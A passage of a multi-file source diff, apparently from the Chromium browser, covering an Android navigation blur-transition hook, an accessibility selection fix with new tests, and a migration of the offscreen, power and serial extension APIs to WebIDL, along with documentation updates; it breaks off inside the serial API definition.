+class Layer;
+}
+
 namespace content {
 
 class BackForwardTransitionAnimationManagerAndroid;
@@ -37,7 +42,8 @@
 // Android-specific implementation of the WebContentsView.
 class WebContentsViewAndroid : public WebContentsView,
                                public RenderViewHostDelegateView,
-                               public ui::EventHandlerAndroid {
+                               public ui::EventHandlerAndroid,
+                               public WebContentsObserver {
  public:
   WebContentsViewAndroid(WebContentsImpl* web_contents,
                          std::unique_ptr<WebContentsViewDelegate> delegate);
@@ -92,6 +98,9 @@
   GetBackForwardTransitionAnimationManager() override;
   void DestroyBackForwardTransitionAnimationManager() override;
 
+  // WebContentsObserver implementation.
+  void ReadyToCommitNavigation(NavigationHandle* navigation_handle) override;
+
   // Backend implementation of RenderViewHostDelegateView.
   void ShowContextMenu(RenderFrameHost& render_frame_host,
                        const ContextMenuParams& params) override;
@@ -144,6 +153,9 @@
       const gfx::Rect& keyboard_rect) override;
   void ShowInterestInElement(int nodeID) override;
 
+  virtual bool ShouldShowBlurTransitionAnimation(
+      NavigationHandle* navigation_handle);
+
   void SetFocus(bool focused);
   void set_device_orientation(int orientation) {
     device_orientation_ = orientation;
diff --git a/content/browser/web_package/signed_exchange_cert_fetcher_unittest.cc b/content/browser/web_package/signed_exchange_cert_fetcher_unittest.cc
index 0a58cc8..76f33f4 100644
--- a/content/browser/web_package/signed_exchange_cert_fetcher_unittest.cc
+++ b/content/browser/web_package/signed_exchange_cert_fetcher_unittest.cc
@@ -147,7 +147,7 @@
   }
   void CloseClientPipe() { client_remote_.reset(); }
 
-  std::optional<network::ResourceRequest> url_request() const {
+  const std::optional<network::ResourceRequest>& url_request() const {
     return url_request_;
   }
 
diff --git a/content/common/features.cc b/content/common/features.cc
index 8a9d7c3..c3425e0c 100644
--- a/content/common/features.cc
+++ b/content/common/features.cc
@@ -162,7 +162,7 @@
 
 // This feature controls whether Dev Tools supports debugging Device Bound
 // Sessions.
-BASE_FEATURE(kDeviceBoundSessionsDevTools, base::FEATURE_DISABLED_BY_DEFAULT);
+BASE_FEATURE(kDeviceBoundSessionsDevTools, base::FEATURE_ENABLED_BY_DEFAULT);
 
 #if BUILDFLAG(IS_ANDROID)
 // Disables the auto_resize_output_surface feature in the Viz process.
diff --git a/content/common/input/actions_parser.cc b/content/common/input/actions_parser.cc
index ddfae33d..0c7ff633f 100644
--- a/content/common/input/actions_parser.cc
+++ b/content/common/input/actions_parser.cc
@@ -31,6 +31,9 @@
     return PointerActionType::RELEASE;
   if (action_type == "pointerLeave")
     return PointerActionType::LEAVE;
+  if (action_type == "pointerCancel") {
+    return PointerActionType::CANCEL;
+  }
   if (action_type == "pause")
     return PointerActionType::IDLE;
   return PointerActionType::NOT_INITIALIZED;
diff --git a/content/public/android/java/src/org/chromium/content/browser/accessibility/WebContentsAccessibilityImpl.java b/content/public/android/java/src/org/chromium/content/browser/accessibility/WebContentsAccessibilityImpl.java
index 9f691bdc..e494c2d 100644
--- a/content/public/android/java/src/org/chromium/content/browser/accessibility/WebContentsAccessibilityImpl.java
+++ b/content/public/android/java/src/org/chromium/content/browser/accessibility/WebContentsAccessibilityImpl.java
@@ -1704,6 +1704,14 @@
                         WebContentsAccessibilityImplJni.get()
                                 .getEditableTextSelectionEnd(mNativeObj, mAccessibilityFocusId);
             }
+        } else {
+            // `mSelectionStart gets "unassigned" when focus changes and should be initialized for
+            // the first user swipe. For a non-editable node, put selection start on the beginning
+            // of the node. Note that `mCursorIndex` is already set to the end of the node text
+            // when accessibility focus is updated.
+            if (mSelectionStart == -1) {
+                mSelectionStart = 0;
+            }
         }
     }
 
diff --git a/content/public/android/javatests/src/org/chromium/content/browser/accessibility/WebContentsAccessibilityTest.java b/content/public/android/javatests/src/org/chromium/content/browser/accessibility/WebContentsAccessibilityTest.java
index f6431cec..23a15fd2 100644
--- a/content/public/android/javatests/src/org/chromium/content/browser/accessibility/WebContentsAccessibilityTest.java
+++ b/content/public/android/javatests/src/org/chromium/content/browser/accessibility/WebContentsAccessibilityTest.java
@@ -184,6 +184,7 @@
     private static final String CACHING_ERROR = "AccessibilityNodeInfo cache has stale data";
     private static final String NODE_EXTRAS_UNCLIPPED_ERROR =
             "AccessibilityNodeInfo object should have unclipped bounds in extras bundle";
+    private static final String TEXT_TRAVERSAL_ERROR = "Expected to receive a traversal event";
     private static final String TEXT_SELECTION_AND_TRAVERSAL_ERROR =
             "Expected to receive both a traversal and selection text event";
     private static final String BOUNDING_BOX_ERROR =
@@ -358,6 +359,32 @@
                 TEXT_SELECTION_AND_TRAVERSAL_ERROR);
     }
 
+    /**
+     * Helper method for sending text related events and confirming that the associated traversal
+     * event have been dispatched before continuing with test.
+     *
+     * @param viewId int virtualViewId of the text field
+     * @param action AccessibilityActionCompat action to perform
+     * @param args Bundle optional arguments
+     * @throws ExecutionException Error
+     */
+    private void performTextActionOnUiThreadAndWaitForTraversalEvent(
+            int viewId, AccessibilityNodeInfoCompat.AccessibilityActionCompat action, Bundle args)
+            throws ExecutionException {
+        // Reset values for traversal event.
+        mTestData.setReceivedTraversalEvent(false);
+
+        // Perform our text action.
+        mActivityTestRule.performActionOnUiThread(viewId, action.getId(), args);
+
+        // Poll until the event has been confirmed as received.
+        CriteriaHelper.pollUiThread(
+                () -> {
+                    return mTestData.hasReceivedTraversalEvent();
+                },
+                TEXT_TRAVERSAL_ERROR);
+    }
+
     private void printAccessibilityNodeInfoTree() {
         Log.d(TAG, "AccessibilityNodeInfo tree:");
         String tree = mActivityTestRule.generateAccessibilityNodeInfoTree();
@@ -1299,6 +1326,75 @@
     }
 
     /**
+     * Ensure traverse events are properly indexed when navigating a non-editable node by character.
+     */
+    @Test
+    @LargeTest
+    public void testEvent_NonEditableNode_CharacterGranularity() throws Throwable {
+        setupTestWithHTML("<p id='id1'>Text1</p>");
+
+        // Find the text node.
+        int nodeVirtualViewId = waitForNodeMatching(sViewIdResourceNameMatcher, "id1");
+        mNodeInfo = createAccessibilityNodeInfo(nodeVirtualViewId);
+        Assert.assertNotEquals(mNodeInfo, null);
+
+        focusNode(nodeVirtualViewId);
+
+        // Set granularity to CHARACTER.
+        Bundle args = new Bundle();
+        args.putInt(ACTION_ARGUMENT_MOVEMENT_GRANULARITY_INT, MOVEMENT_GRANULARITY_CHARACTER);
+
+        for (int selection = 0; selection < 2; selection++) {
+            // Movement with granularity on non-editable nodes does not update selection, hene
+            // the argument should have no effect on the result.
+            args.putBoolean(ACTION_ARGUMENT_EXTEND_SELECTION_BOOLEAN, selection != 0);
+            for (int i = 0; i < 5; i++) {
+                performTextActionOnUiThreadAndWaitForTraversalEvent(
+                        nodeVirtualViewId, ACTION_NEXT_AT_MOVEMENT_GRANULARITY, args);
+
+                Assert.assertEquals(i, mTestData.getTraverseFromIndex());
+                Assert.assertEquals(i + 1, mTestData.getTraverseToIndex());
+            }
+
+            for (int i = 5; i > 0; i--) {
+                performTextActionOnUiThreadAndWaitForTraversalEvent(
+                        nodeVirtualViewId, ACTION_PREVIOUS_AT_MOVEMENT_GRANULARITY, args);
+
+                Assert.assertEquals(i - 1, mTestData.getTraverseFromIndex());
+                Assert.assertEquals(i, mTestData.getTraverseToIndex());
+            }
+        }
+    }
+
+    /**
+     * Ensure traverse events are properly indexed when navigating backward on a non-editable node
+     * by character.
+     */
+    @Test
+    @LargeTest
+    public void testEvent_SelectionOFF_NonEditableNode_CharacterGranularity_BackwardInitilization()
+            throws Throwable {
+        setupTestWithHTML("<p id='id1'>Text1</p>");
+
+        // Find the text node.
+        int nodeVirtualViewId = waitForNodeMatching(sViewIdResourceNameMatcher, "id1");
+        mNodeInfo = createAccessibilityNodeInfo(nodeVirtualViewId);
+        Assert.assertNotEquals(mNodeInfo, null);
+
+        focusNode(nodeVirtualViewId);
+
+        // Set granularity to CHARACTER.
+        Bundle args = new Bundle();
+        args.putInt(ACTION_ARGUMENT_MOVEMENT_GRANULARITY_INT, MOVEMENT_GRANULARITY_CHARACTER);
+        args.putBoolean(ACTION_ARGUMENT_EXTEND_SELECTION_BOOLEAN, false);
+
+        performTextActionOnUiThreadAndWaitForTraversalEvent(
+                nodeVirtualViewId, ACTION_PREVIOUS_AT_MOVEMENT_GRANULARITY, args);
+        Assert.assertEquals(4, mTestData.getTraverseFromIndex());
+        Assert.assertEquals(5, mTestData.getTraverseToIndex());
+    }
+
+    /**
      * Ensure traverse events and selection events are properly indexed when navigating an edit
      * field by word with selection mode off
      */
diff --git a/content/public/browser/browser_context.h b/content/public/browser/browser_context.h
index eac8696..f321a55 100644
--- a/content/public/browser/browser_context.h
+++ b/content/public/browser/browser_context.h
@@ -212,7 +212,8 @@
   // head is determined. Returns `PrefetchHandle` to control prefetch resources.
   // This can be null when it can't add `PrefetchContainer` to
   // `PrefetchService`.
-  std::unique_ptr<content::PrefetchHandle> StartBrowserPrefetchRequest(
+  [[nodiscard]] std::unique_ptr<content::PrefetchHandle>
+  StartBrowserPrefetchRequest(
       const GURL& url,
       const std::string& embedder_histogram_suffix,
       bool javascript_enabled,
diff --git a/content/public/browser/web_contents.h b/content/public/browser/web_contents.h
index 8c313b2..d3ff17b 100644
--- a/content/public/browser/web_contents.h
+++ b/content/public/browser/web_contents.h
@@ -1708,7 +1708,7 @@
   // - Returns `PrefetchHandle` to control prefetch resources. This can be
   //   nullptr when this function can't add `PrefetchContainer` to
   //   `PrefetchService`.
-  virtual std::unique_ptr<PrefetchHandle> StartPrefetch(
+  [[nodiscard]] virtual std::unique_ptr<PrefetchHandle> StartPrefetch(
       const GURL& prefetch_url,
       bool use_prefetch_proxy,
       const std::string& embedder_histogram_suffix,
diff --git a/content/public/browser/web_contents_view_delegate.cc b/content/public/browser/web_contents_view_delegate.cc
index 7e4fb664..d6a347d 100644
--- a/content/public/browser/web_contents_view_delegate.cc
+++ b/content/public/browser/web_contents_view_delegate.cc
@@ -68,4 +68,11 @@
 
 void WebContentsViewDelegate::WebContentsDragEnded() {}
 
+#if BUILDFLAG(IS_ANDROID)
+bool WebContentsViewDelegate::ShouldShowBlurTransitionAnimation(
+    NavigationHandle* navigation_handle) {
+  return false;
+}
+#endif
+
 }  // namespace content
diff --git a/content/public/browser/web_contents_view_delegate.h b/content/public/browser/web_contents_view_delegate.h
index 2c146ff..3a5f1b82 100644
--- a/content/public/browser/web_contents_view_delegate.h
+++ b/content/public/browser/web_contents_view_delegate.h
@@ -26,6 +26,7 @@
 #endif
 
 namespace content {
+class NavigationHandle;
 class RenderFrameHost;
 class RenderWidgetHost;
 class WebDragDestDelegate;
@@ -103,6 +104,11 @@
 
   // Notifies the delegate that the drag operation has ended.
   virtual void WebContentsDragEnded();
+
+#if BUILDFLAG(IS_ANDROID)
+  virtual bool ShouldShowBlurTransitionAnimation(
+      NavigationHandle* navigation_handle);
+#endif
 };
 
 }  // namespace content
diff --git a/content/public/test/browser_test_utils.cc b/content/public/test/browser_test_utils.cc
index 6fd5297..d5d5c13 100644
--- a/content/public/test/browser_test_utils.cc
+++ b/content/public/test/browser_test_utils.cc
@@ -3200,6 +3200,14 @@
   }
 }
 
+void GestureTapEventObserver::OnInputEvent(const RenderWidgetHost& host,
+                                           const blink::WebInputEvent& event,
+                                           InputEventSource source) {
+  if (event.GetType() == blink::WebInputEvent::Type::kGestureTap) {
+    num_gesture_tap_seen_++;
+  }
+}
+
 // TODO(dcheng): Make the test clipboard on different threads share the
 // same backing store. crbug.com/629765
 // TODO(slangley): crbug.com/775830 - Cleanup BrowserTestClipboardScope now that
diff --git a/content/public/test/browser_test_utils.h b/content/public/test/browser_test_utils.h
index b85127b..b5638980 100644
--- a/content/public/test/browser_test_utils.h
+++ b/content/public/test/browser_test_utils.h
@@ -1716,6 +1716,27 @@
   base::OnceClosure quit_closure_;
 };
 
+// Watches for gesture tap events.
+class GestureTapEventObserver : public RenderWidgetHost::InputEventObserver {
+ public:
+  GestureTapEventObserver() = default;
+
+  GestureTapEventObserver(const GestureTapEventObserver&) = delete;
+  GestureTapEventObserver& operator=(const GestureTapEventObserver&) = delete;
+
+  ~GestureTapEventObserver() override = default;
+
+  // RenderWidgetHost::InputEventObserver:
+  void OnInputEvent(const RenderWidgetHost& host,
+                    const blink::WebInputEvent& event,
+                    InputEventSource source) override;
+
+  int num_gesture_tap_seen() const { return num_gesture_tap_seen_; }
+
+ private:
+  int num_gesture_tap_seen_ = 0;
+};
+
 // Sets up a ui::TestClipboard for use in browser tests. On Windows,
 // clipboard is handled on the IO thread, BrowserTestClipboardScope
 // hops messages onto the right thread.
diff --git a/content/services/auction_worklet/auction_v8_devtools_session.cc b/content/services/auction_worklet/auction_v8_devtools_session.cc
index ccbd3ce..3b151e0 100644
--- a/content/services/auction_worklet/auction_v8_devtools_session.cc
+++ b/content/services/auction_worklet/auction_v8_devtools_session.cc
@@ -6,7 +6,6 @@
 
 #include <stdint.h>
 
-#include <set>
 #include <string>
 #include <vector>
 
@@ -24,6 +23,7 @@
 #include "content/services/auction_worklet/debug_command_queue.h"
 #include "content/services/auction_worklet/protocol/event_breakpoints.h"
 #include "mojo/public/cpp/bindings/self_owned_receiver.h"
+#include "third_party/abseil-cpp/absl/container/flat_hash_set.h"
 #include "third_party/inspector_protocol/crdtp/cbor.h"
 #include "third_party/inspector_protocol/crdtp/dispatch.h"
 #include "third_party/inspector_protocol/crdtp/frontend_channel.h"
@@ -52,8 +52,7 @@
 
   void MaybeTriggerInstrumentationBreakpoint(const std::string& name) {
     DCHECK_CALLED_ON_VALID_SEQUENCE(v8_sequence_checker_);
-    if (instrumentation_breakpoints_.find(name) !=
-        instrumentation_breakpoints_.end()) {
+    if (instrumentation_breakpoints_.contains(name)) {
       std::string category("EventListener");
       std::string aux_json = base::StringPrintf(
           R"({"eventName":"instrumentation:%s"})", name.c_str());
@@ -80,7 +79,7 @@
   }
 
   raw_ptr<v8_inspector::V8InspectorSession> v8_session_;
-  std::set<std::string> instrumentation_breakpoints_;
+  absl::flat_hash_set<std::string> instrumentation_breakpoints_;
   SEQUENCE_CHECKER(v8_sequence_checker_);
 };
 
diff --git a/content/test/BUILD.gn b/content/test/BUILD.gn
index cf6e0f4..06a1c4f 100644
--- a/content/test/BUILD.gn
+++ b/content/test/BUILD.gn
@@ -3165,6 +3165,7 @@
       "../browser/attribution_reporting/attribution_os_level_manager_android_unittest.cc",
       "../browser/display_cutout/display_cutout_host_impl_unittest.cc",
       "../browser/display_cutout/safe_area_insets_host_impl_unittest.cc",
+      "../browser/navigation_transitions/blur_transition_animation_manager_unittest.cc",
       "../browser/navigation_transitions/physics_model_unittest.cc",
       "../browser/renderer_host/input/input_transfer_handler_android_unittest.cc",
       "../browser/renderer_host/navigation_transitions/navigation_entry_screenshot_cache_unittest.cc",
diff --git a/docs/rust/api_design.md b/docs/rust/api_design.md
index 9460a99..552bb4d 100644
--- a/docs/rust/api_design.md
+++ b/docs/rust/api_design.md
@@ -40,4 +40,27 @@
 1. If we provide an `unsafe` API, we should try to provide an equivalent safe
    API and encourage its use when possible.
 1. _Internal_ use of `unsafe` is acceptable, so long it is not exposed to the
-   user, and there isn’t an easy safe alternative.
\ No newline at end of file
+   user, and there isn’t an easy safe alternative.
+
+## Parameter and Return Types
+1. Prefer to pass flags via a type that makes their meaning clear at the call
+   site. For example:
+    ```
+    // Bad:
+    fn slide(left: bool); // Slide left if true, right if false
+
+    // Good:
+    enum Direction { Left, Right }
+    fn slide(direction: Direction);
+    ```
+1. When returning multiple values, prefer to give them names by defining a
+   one-off struct if there is any risk of confusion as to what they mean.
+   For example:
+   ```
+   // Bad:
+   fn make_connected_ports() -> (Port, Port);
+
+   // Good:
+   struct PortPair { input: Port, output: Port}
+   fn make_connected_ports() -> PortPair;
+   ```
\ No newline at end of file
diff --git a/docs/ui/android/activity_result_tracker.md b/docs/ui/android/activity_result_tracker.md
index c266cee..f82a1fd 100644
--- a/docs/ui/android/activity_result_tracker.md
+++ b/docs/ui/android/activity_result_tracker.md
@@ -12,37 +12,77 @@
 
 ## How to use
 
-1.  **Obtain an Instance:** Get the tracker instance inside the base Activity
-    and pass it to your component (e.g. Coordinator).
+1.  **Implement `ActivityResultTracker.ResultListener`:** Your component that
+    needs to receive an activity result should implement the
+    `ActivityResultTracker.ResultListener` interface. This interface has two
+    methods:
+    - `onActivityResult(ActivityResult result)`: This is where you handle the
+      result.
+    - `getRestorationKey()`: This should return a `String` that uniquely
+      identifies the _purpose_ of the activity launch across activity
+      recreations. If multiple indistinguishable instances of your component
+      must exist in parallel, they can return the same restoration key - an
+      arbitrary instance will be chosen to handle the activity result in case
+      the base activity is recreated before the new activity finishes.
+
+    ```java
+    class MyComponent implements ActivityResultTracker.ResultListener {
+        private final String mRestorationKey;
+
+        MyComponent(String restorationKey) {
+            mRestorationKey = restorationKey;
+        }
+
+        @Override
+        public void onActivityResult(ActivityResult result) {
+            // Handle the result...
+        }
+
+        @Override
+        public String getRestorationKey() {
+            return mRestorationKey;
+        }
+    }
+    ```
+
+2.  **Get an `ActivityResultTracker` Instance:** Get the tracker instance inside
+    the base Activity and pass it to your component.
+
     ```java
     ActivityResultTracker tracker = getActivityResultTracker();
     ```
 
-2.  **Define a Unique Key:**
-    ```java
-    private static final String NEW_ACTIVITY_KEY = "new_activity_key";
-    ```
+3.  **Register the Listener:** Before you start the activity, register your
+    activity result listener with the tracker.
 
-3.  **Register a Callback:**
     ```java
-    tracker.register(NEW_ACTIVITY_KEY, this::onMyActivityResult);
-    // ... callback method onMyActivityResult(ActivityResult result) ...
+    MyComponent myComponent = new MyComponent("my_unique_restoration_key");
+    tracker.register(myComponent);
     ```
 
 4.  **Start the Activity Using the Tracker:**
-    ```java
-    Intent intent = new Intent(this, NewActivity.class);
-    tracker.startActivity(NEW_ACTIVITY_KEY, intent);
-    ```
+    `java     tracker.startActivity(myComponent, intent);     ` .
+    **Re-registration is Key:** Components MUST call `tracker.register()` with
+    the same restoration key in case the base activity is recreated and ensures
+    it happens automatically. (e.g. it should not be triggered by an user
+    action) If a pending result for your listener's restoration key already
+    exists (e.g., from before the activity was recreated), `onActivityResult`
+    will be called immediately.
 
-5.  **Re-registration is Key:** Components MUST call `tracker.register()` with
-    the same key in case the base activity is recreated and ensures it happens
-    automatically. (e.g. it should not be triggered by an user action)
+    If multiple instances of a component were registered using the same
+    restoration key and a result matching the restoration key is received:
+    - if it happens after the base activity's recreation, an arbitrary listener
+      will be called to handle the result, usually the first registered one.
+    - if it happens without the base activity being killed and restore, the
+      component used to start the new activity will be called to handle the
+      result.
 
 ## The initial problem: lost results on Activity recreation
 
-Chrome mainly relies on [`IntentRequestTracker`](https://source.chromium.org/chromium/chromium/src/+/main:ui/android/java/src/org/chromium/ui/base/IntentRequestTracker.java;l=23;drc=f4b1a5f91e14941349a0319b35f71d3efb7350af)
-owned by [`WindowAndroid`](https://source.chromium.org/chromium/chromium/src/+/main:ui/android/java/src/org/chromium/ui/base/WindowAndroid.java;l=438;drc=f4b1a5f91e14941349a0319b35f71d3efb7350af)
+Chrome mainly relies on
+[`IntentRequestTracker`](https://source.chromium.org/chromium/chromium/src/+/main:ui/android/java/src/org/chromium/ui/base/IntentRequestTracker.java;l=23;drc=f4b1a5f91e14941349a0319b35f71d3efb7350af)
+owned by
+[`WindowAndroid`](https://source.chromium.org/chromium/chromium/src/+/main:ui/android/java/src/org/chromium/ui/base/WindowAndroid.java;l=438;drc=f4b1a5f91e14941349a0319b35f71d3efb7350af)
 for activity result handling. This system is straightforward to use, but has one
 limitation: if the base Activity hosting the requesting component is killed by
 the system (e.g., due to memory pressure) and then later recreated when the user
@@ -51,7 +91,8 @@
 user flow. This was observed to affect a noticeable percentage (~1% in 2024) of
 sign-in attempts, for example.
 
-The standard Android [`ActivityResultRegistry`](http://go/android-dev/training/basics/intents/result)
+The standard Android
+[`ActivityResultRegistry`](http://go/android-dev/training/basics/intents/result)
 API does support handling results across Activity recreation. However, its
 limitation is that callbacks must be registered unconditionally during the
 Activity/Fragment initialization or `onCreate` to catch the in-flight activity
@@ -67,20 +108,21 @@
 Activity and uses the `ActivityResultRegistry` from the Android SDK to ensure
 result reception across Activity death and recreation. The key features are:
 
-1.  **State Persistence:** The tracker saves the unique keys of all in-flight
-    activity requests in the Activity's `onSaveInstanceState` bundle.
+1.  **State Persistence:** The tracker saves the restoration keys of all
+    in-flight activity requests in the Activity's `onSaveInstanceState` bundle.
 2.  **Internal Re-registration:** On Activity recreation, the tracker uses the
     restored keys to re-register internal listeners with the
     `ActivityResultRegistry` during `onCreate`. This ensures the tracker catches
     any result sent back.
 3.  **Result Caching:** If a result arrives for a key, and the Chrome component
-    that originally made the request hasn't yet been recreated and
-    re-registered its specific callback, the `ActivityResultTracker` holds the
-    `ActivityResult` in a temporary cache.
+    that originally made the request hasn't yet been recreated and re-registered
+    its specific callback, the `ActivityResultTracker` holds the
+    `ActivityResult` and the corresponding restoration key in a temporary cache.
 4.  **Delayed Delivery:** When the Chrome component (e.g., Coordinator) is
     eventually recreated and calls `ActivityResultTracker.register()` with its
-    unique key, the tracker checks the cache. If a result is pending for that
-    key, it's delivered immediately to the newly provided callback instance.
+    restoration key, the tracker checks the cache. If a result is pending for
+    that key, it's delivered immediately to the newly provided callback
+    instance.
 
 This design allows components to be created at any time and still reliably
 receive activity results, even if the main Activity is destroyed in the
@@ -96,4 +138,4 @@
 The implementation of `ActivityResultTracker` (e.g.,
 `ActivityResultTrackerImpl`) requires hooks into the Activity lifecycle:
 `onSaveInstanceState`, `onRestoreInstanceState`, and `onDestroy`. These are
-handled by the base Activity class (currently `ChromeBaseAppCompatActivity`).
\ No newline at end of file
+handled by the base Activity class (currently `ChromeBaseAppCompatActivity`).
diff --git a/extensions/common/api/offscreen.webidl b/extensions/common/api/offscreen.webidl
new file mode 100644
index 0000000..450b5a68
--- /dev/null
+++ b/extensions/common/api/offscreen.webidl
@@ -0,0 +1,98 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+enum Reason {
+  // A reason used for testing purposes only.
+  "TESTING",
+  // Specifies that the offscreen document is responsible for playing audio.
+  "AUDIO_PLAYBACK",
+  // Specifies that the offscreen document needs to embed and script an
+  // iframe in order to modify the iframe's content.
+  "IFRAME_SCRIPTING",
+  // Specifies that the offscreen document needs to embed an iframe and
+  // scrape its DOM to extract information.
+  "DOM_SCRAPING",
+  // Specifies that the offscreen document needs to interact with Blob
+  // objects (including <code>URL.createObjectURL()</code>).
+  "BLOBS",
+  // Specifies that the offscreen document needs to use the
+  // <a
+  // href="https://developer.mozilla.org/en-US/docs/Web/API/DOMParser">DOMParser
+  // API</a>.
+  "DOM_PARSER",
+  // Specifies that the offscreen document needs to interact with
+  // media streams from user media (e.g. <code>getUserMedia()</code>).
+  "USER_MEDIA",
+  // Specifies that the offscreen document needs to interact with
+  // media streams from display media (e.g. <code>getDisplayMedia()</code>).
+  "DISPLAY_MEDIA",
+  // Specifies that the offscreen document needs to use
+  // <a
+  // href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API">WebRTC
+  // APIs</a>.
+  "WEB_RTC",
+  // Specifies that the offscreen document needs to interact with the
+  // <a
+  // href="https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API">Clipboard
+  // API</a>.
+  "CLIPBOARD",
+  // Specifies that the offscreen document needs access to
+  // <a
+  // href="https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage">localStorage</a>.
+  "LOCAL_STORAGE",
+  // Specifies that the offscreen document needs to spawn workers.
+  "WORKERS",
+  // Specifies that the offscreen document needs to use
+  // <a
+  // href="https://developer.mozilla.org/en-US/docs/Web/API/Battery_Status_API">navigator.getBattery</a>.
+  "BATTERY_STATUS",
+  // Specifies that the offscreen document needs to use
+  // <a
+  // href="https://developer.mozilla.org/en-US/docs/Web/API/Window/matchMedia">window.matchMedia</a>.
+  "MATCH_MEDIA",
+  // Specifies that the offscreen document needs to use
+  // <a
+  // href="https://developer.mozilla.org/en-US/docs/Web/API/Navigator/geolocation">navigator.geolocation</a>.
+  "GEOLOCATION"
+};
+
+dictionary CreateParameters {
+  // The reason(s) the extension is creating the offscreen document.
+  required sequence<Reason> reasons;
+  // The (relative) URL to load in the document.
+  required DOMString url;
+  // A developer-provided string that explains, in more detail, the need for
+  // the background context. The user agent _may_ use this in display to the
+  // user.
+  required DOMString justification;
+};
+
+// Use the <code>offscreen</code> API to create and manage offscreen documents.
+interface Offscreen {
+  // Creates a new offscreen document for the extension.
+  // |parameters|: The parameters describing the offscreen document to create.
+  // |Returns|: Promise that resolves when the offscreen document is created
+  // and has completed its initial page load.
+  [requiredCallback] static Promise<undefined> createDocument(
+      CreateParameters parameters);
+
+  // Closes the currently-open offscreen document for the extension.
+  // |Returns|: Promise that resolves when the offscreen document has been
+  // closed.
+  [requiredCallback] static Promise<undefined> closeDocument();
+
+  // Determines whether the extension has an active document.
+  // TODO(crbug.com/40849649): This probably isn't something we want to
+  // ship in its current form (hence the nodoc). Instead of this, we should
+  // integrate offscreen documents into a service worker-compatible getViews()
+  // alternative. But this is pretty useful in testing environments.
+  // |Returns|: Promise that resolves with the result of whether the
+  // extension has an active offscreen document.
+  // |PromiseValue|: result
+  [ nodoc, requiredCallback ] static Promise<boolean> hasDocument();
+};
+
+partial interface Browser {
+  static attribute Offscreen offscreen;
+};
diff --git a/extensions/common/api/power.webidl b/extensions/common/api/power.webidl
new file mode 100644
index 0000000..f198dbfd
--- /dev/null
+++ b/extensions/common/api/power.webidl
@@ -0,0 +1,34 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+enum Level {
+  // Prevents the system from sleeping in response to user inactivity.
+  "system",
+
+  // Prevents the display from being turned off or dimmed, or the system
+  // from sleeping in response to user inactivity.
+  "display"
+};
+
+// Use the <code>chrome.power</code> API to override the system's power
+// management features.
+interface Power {
+  // Requests that power management be temporarily disabled. |level|
+  // describes the degree to which power management should be disabled.
+  // If a request previously made by the same app is still active, it
+  // will be replaced by the new request.
+  static undefined requestKeepAwake(Level level);
+
+  // Releases a request previously made via requestKeepAwake().
+  static undefined releaseKeepAwake();
+
+  // Reports a user activity in order to awake the screen from a dimmed or
+  // turned off state or from a screensaver. Exits the screensaver if it is
+  // currently active.
+  [platforms = ("chromeos")] static Promise<undefined> reportActivity();
+};
+
+partial interface Browser {
+  static attribute Power power;
+};
diff --git a/extensions/common/api/schema.gni b/extensions/common/api/schema.gni
index 9ce4074a..d58290d 100644
--- a/extensions/common/api/schema.gni
+++ b/extensions/common/api/schema.gni
@@ -20,8 +20,8 @@
   "idle.json",
   "management.json",
   "metrics_private.json",
-  "offscreen.idl",
-  "power.idl",
+  "offscreen.webidl",
+  "power.webidl",
   "protocol_handlers.webidl",
   "runtime.json",
   "storage.json",
@@ -85,7 +85,7 @@
     "printer_provider_internal.idl",
     "printer_provider.idl",
     "scripts_internal.idl",
-    "serial.idl",
+    "serial.webidl",
     "socket.idl",
     "sockets_tcp_server.idl",
     "sockets_tcp.idl",
diff --git a/extensions/common/api/serial.webidl b/extensions/common/api/serial.webidl
new file mode 100644
index 0000000..78c9465
--- /dev/null
+++ b/extensions/common/api/serial.webidl
@@ -0,0 +1,344 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+dictionary DeviceInfo {
+  // The device's system path. This should be passed as the <code>path</code>
+  // argument to <code>chrome.serial.connect</code> in order to connect to
+  // this device.
+  required DOMString path;
+
+  // A PCI or USB vendor ID if one can be determined for the underlying
+  // device.
+  long vendorId;
+
+  // A USB product ID if one can be determined for the underlying device.
+  long productId;
+
+  // A human-readable display name for the underlying device if one can be
+  // queried from the host driver.
+  DOMString displayName;
+};
+
+enum DataBits { "seven", "eight" };
+
+enum ParityBit { "no", "odd", "even" };
+
+enum StopBits { "one", "two" };
+
+dictionary ConnectionOptions {
+  // Flag indicating whether or not the connection should be left open when
+  // the application is suspended (see
+  // <a href="http://developer.chrome.com/apps/app_lifecycle.html">Manage App
+  // Lifecycle</a>). The default value is "false." When the application is
+  // loaded, any serial connections previously opened with persistent=true
+  // can be fetched with <code>getConnections</code>.
+  boolean persistent;
+
+  // An application-defined string to associate with the connection.
+  DOMString name;
+
+  // The size of the buffer used to receive data. The default value is 4096.
+  long bufferSize;
+
+  // The requested bitrate of the connection to be opened. For compatibility
+  // with the widest range of hardware, this number should match one of
+  // commonly-available bitrates, such as 110, 300, 1200, 2400, 4800, 9600,
+  // 14400, 19200, 38400, 57600, 115200. There is no guarantee, of course,
+  // that the device connected to the serial port will support the requested
+  // bitrate, even if the port itself supports that bitrate. <code>9600</code>
+  // will be passed by default.
+  long bitrate;
+
+  // <code>"eight"</code> will be passed by default.
+  DataBits dataBits;
+
+  // <code>"no"</code> will be passed by default.
+  ParityBit parityBit;
+
+  // <code>"one"</code> will be passed by default.
+  StopBits stopBits;
+
+  // Flag indicating whether or not to enable RTS/CTS hardware flow control.
+  // Defaults to false.
+  boolean ctsFlowControl;
+
+  // The maximum amount of time (in milliseconds) to wait for new data before
+  // raising an <code>onReceiveError</code> event with a "timeout" error.
+  // If zero, receive timeout errors will not be raised for the connection.
+  // Defaults to 0.
+  long receiveTimeout;
+
+  // The maximum amount of time (in milliseconds) to wait for a
+  // <code>send</code> operation to complete before calling the callback with
+  // a "timeout" error. If zero, send timeout errors will not be triggered.
+  // Defaults to 0.
+  long sendTimeout;
+};
+
+// Result of the <code>getInfo</code> method.
+dictionary ConnectionInfo {
+  // The id of the serial port connection.
+  required long connectionId;
+
+  // Flag indicating whether the connection is blocked from firing onReceive
+  // events.
+  required boolean paused;
+
+  // See <code>ConnectionOptions.persistent</code>
+  required boolean persistent;
+
+  // See <code>ConnectionOptions.name</code>
